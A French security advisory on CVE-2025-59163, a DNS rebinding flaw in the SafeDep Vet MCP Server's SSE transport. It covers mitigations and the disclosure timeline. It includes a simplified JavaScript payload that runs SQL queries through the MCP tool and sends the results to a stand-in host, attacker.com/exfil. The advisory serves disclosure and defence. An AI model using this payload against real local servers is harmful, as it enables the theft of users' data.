Auteur : Evan Harris
Risque : Faible (CVSS 2.1/10)
Composant concerné : SafeDep Vet MCP Server
Identifiant CVE : CVE-2025-59163
Versions concernées : < v1.12.5
Versions corrigées : v1.12.5

Aperçu

Le SafeDep Vet MCP Server est vulnérable aux attaques de DNS rebinding lorsqu’il fonctionne avec le transport SSE. La vulnérabilité provient de l’absence de validation des en-têtes HTTP Host et Origin, ce qui permet à des sites web malveillants de contourner les protections de la politique de même origine et d’exécuter des invocations d’outils non autorisées contre des instances Vet MCP.

Une fois le DNS rebinding réussi, un attaquant peut établir une session avec le point de terminaison /sse, invoquer les outils MCP activés et exfiltrer le contenu de la base de données SQLite Vet de l’utilisateur vers un serveur contrôlé par l’attaquant.

L’équipe SafeDep a réagi rapidement à cette divulgation, publiant en quelques jours une version corrigée (v1.12.5) qui met en œuvre la validation des en-têtes Host et Origin au moyen d’une liste d’autorisation.

D’autres outils traités sur ce site présentent la même faille : Le Neo4j MCP Cypher Server est vulnérable à une prise de contrôle de la base de données via DNS rebinding et Le serveur MCP Verify de Kluster expose les utilisateurs à l’épuisement de leurs crédits.

Détails techniques

La vulnérabilité

Lorsque le Vet MCP Server fonctionne avec le transport SSE (--server-type sse), il expose un point de terminaison HTTP qui accepte les connexions depuis n’importe quelle origine. Le serveur ne valide pas :

  • L’en-tête HTTP Host - autorise les requêtes prétendant provenir de n’importe quel domaine
  • L’en-tête HTTP Origin - permet les requêtes multi-origines provenant de sites web malveillants

Cette absence de validation rend possibles les attaques de DNS rebinding, dans lesquelles :

  1. Un attaquant contrôle un domaine dont les enregistrements DNS ont un TTL très faible
  2. La victime visite le site web de l’attaquant (par exemple attacker.com)
  3. Le JavaScript de l’attaquant se résout initialement vers l’adresse IP de l’attaquant
  4. Une fois que le navigateur de la victime a mis la connexion en cache, l’enregistrement DNS est modifié en 127.0.0.1
  5. Les requêtes ultérieures provenant de attacker.com ciblent désormais le localhost de la victime
  6. La politique de même origine du navigateur est contournée, car l’origine reste attacker.com

Configuration vulnérable

L’attaque nécessite les conditions suivantes :

  • Une analyse Vet est exécutée et les rapports sont enregistrés dans une base de données
  • Le Vet MCP Server fonctionne avec le transport SSE activé
  • L’attaquant attire la victime vers un site web qu’il contrôle

Vecteur d’attaque

L’attaquant exploite le DNS rebinding pour :

  1. Établir une connexion vers http://127.0.0.1:9988/sse
  2. Obtenir un identifiant de session MCP valide
  3. Initialiser une session MCP
  4. Invoquer l’outil vet_query_execute_sql_query avec des requêtes SQL de lecture arbitraires
  5. Recevoir les réponses via le flux SSE
  6. Exfiltrer les données vers un serveur contrôlé par l’attaquant

Scénario d’attaque

Configuration de la victime

Un chercheur en sécurité ou un développeur :

  1. Installe Vet pour l’analyse des vulnérabilités des dépendances
  2. Lance une analyse : vet scan -D /path/to/project
  3. Démarre le serveur MCP avec le transport SSE :
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Le serveur s’attache à 127.0.0.1:9988 par défaut

Exploitation par l’attaquant

L’attaquant prépare l’infrastructure de DNS rebinding :

  1. Met en place un serveur DNS avec des enregistrements génériques (wildcard) pour un domaine (par exemple rebinder.attacker.com)
  2. Configure le serveur DNS pour qu’il renvoie d’abord l’adresse IP de l’attaquant, puis effectue un rebinding vers 127.0.0.1
  3. Héberge un site web malveillant avec un JavaScript qui :
    • Détecte le moment où le DNS rebinding réussit
    • Se connecte au point de terminaison SSE de Vet à l’adresse http://127.0.0.1:9988/sse
    • Établit une session MCP
    • Invoque des requêtes SQL contre la base de données de la victime
    • Exfiltre les résultats

Déroulement de l’exploitation

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Il suffit à la victime de visiter le site web de l’attaquant (par exemple via un lien dans un courriel de phishing, une publicité compromise ou un ticket GitHub malveillant) pendant que son Vet MCP Server est en cours d’exécution.

Évaluation de l’impact

Atteinte à la confidentialité

Impact principal :

  • Accès complet en lecture à la base de données SQLite d’analyses de Vet via l’outil vet_query_execute_sql_query
  • Exposition d’informations sur les vulnérabilités des paquets, notamment :
    • Les noms et versions des paquets utilisés
    • Les CVE connus affectant les dépendances de la victime
    • Les scores de gravité et les détails des vulnérabilités
    • Le renseignement sur la chaîne d’approvisionnement logicielle

Amplification du risque :

  • Les attaquants obtiennent des renseignements sur les paquets vulnérables dans l’environnement de la victime
  • Les dépendances et les versions des paquets révèlent des détails sur la pile technologique
  • Ces informations peuvent servir à concevoir des exploits ciblés

Conditions de l’attaque

Facteurs limitant l’exploitabilité :

  • Interaction active de l’utilisateur requise : La victime doit visiter un site web malveillant
  • Fenêtre temporelle : Le Vet MCP Server doit être activement en cours d’exécution avec le transport SSE
  • Exigence de configuration : La victime doit avoir démarré explicitement le serveur avec --server-type sse (et non le transport stdio par défaut)
  • Basé sur le navigateur : L’attaque nécessite un navigateur moderne prenant en charge EventSource

Ces facteurs contribuent à la classification de faible gravité (CVSS 2.1/10) malgré le potentiel d’exfiltration de données.

Mesures d’atténuation recommandées

Pour les utilisateurs (immédiat)

  1. Mettez à jour vers la v1.12.5 ou une version ultérieure :
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Utilisez le transport stdio (par défaut) :
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Isolation réseau :
    • N’exécutez le serveur MCP que sur des réseaux de confiance
    • Utilisez des règles de pare-feu pour restreindre l’accès au port 9988
    • Évitez de naviguer sur des sites web non fiables pendant que le serveur est en cours d’exécution

Pour les développeurs

Mis en œuvre dans la v1.12.5 :

  • Validation de l’en-tête Host au moyen d’une liste d’autorisation
  • Validation de l’en-tête Origin pour empêcher les requêtes multi-origines
  • Rejet des requêtes comportant des en-têtes de sécurité invalides ou manquants

Bonnes pratiques pour les implémentations de serveurs MCP :

  • Validez toujours les en-têtes Host et Origin pour les transports basés sur HTTP
  • Attachez-vous par défaut uniquement à localhost (127.0.0.1) plutôt qu’à 0.0.0.0
  • Privilégiez le transport stdio par rapport aux transports réseau lorsque cela est possible
  • Documentez les implications de sécurité des différents modes de transport
  • Mettez en œuvre des politiques CORS strictes

Chronologie de la divulgation

  • 2025-08-30 : Rapport initial de la vulnérabilité soumis à SafeDep
  • 2025-09-01 : SafeDep accuse réception du rapport
  • 2025-09-02 : SafeDep ouvre une pull request avec un correctif mettant en œuvre la validation des en-têtes
  • 2025-09-05 : La version corrigée v1.12.5 est publiée
  • 2025-09-29 : Publication du GitHub Security Advisory, date de divulgation coordonnée confirmée par les deux parties
  • 2025-10-06 : Publication de l’avis technique

Conclusion

La vulnérabilité de DNS rebinding dans le Vet MCP Server met en évidence une considération de sécurité importante pour les implémentations de MCP : les transports basés sur le réseau exigent une validation soigneuse des en-têtes de sécurité HTTP afin de prévenir les attaques multi-origines.

Bien que l’attaque nécessite des conditions spécifiques (serveur MCP actif avec transport SSE, victime visitant un site web malveillant, fenêtre temporelle), le potentiel d’exfiltration de données justifiait une divulgation et une correction responsables.

La réaction de SafeDep illustre des pratiques de sécurité responsables :

  • Accusé de réception immédiat du rapport
  • Développement et publication rapides d’un correctif (5 jours entre le signalement et la publication)
  • Divulgation coordonnée via un GitHub Security Advisory
  • Communication claire tout au long du processus

Tous les utilisateurs exécutant le Vet MCP Server avec le transport SSE devraient effectuer immédiatement la mise à jour vers la v1.12.5. Pour la plupart des cas d’usage, le transport stdio par défaut offre une alternative plus sûre.

Références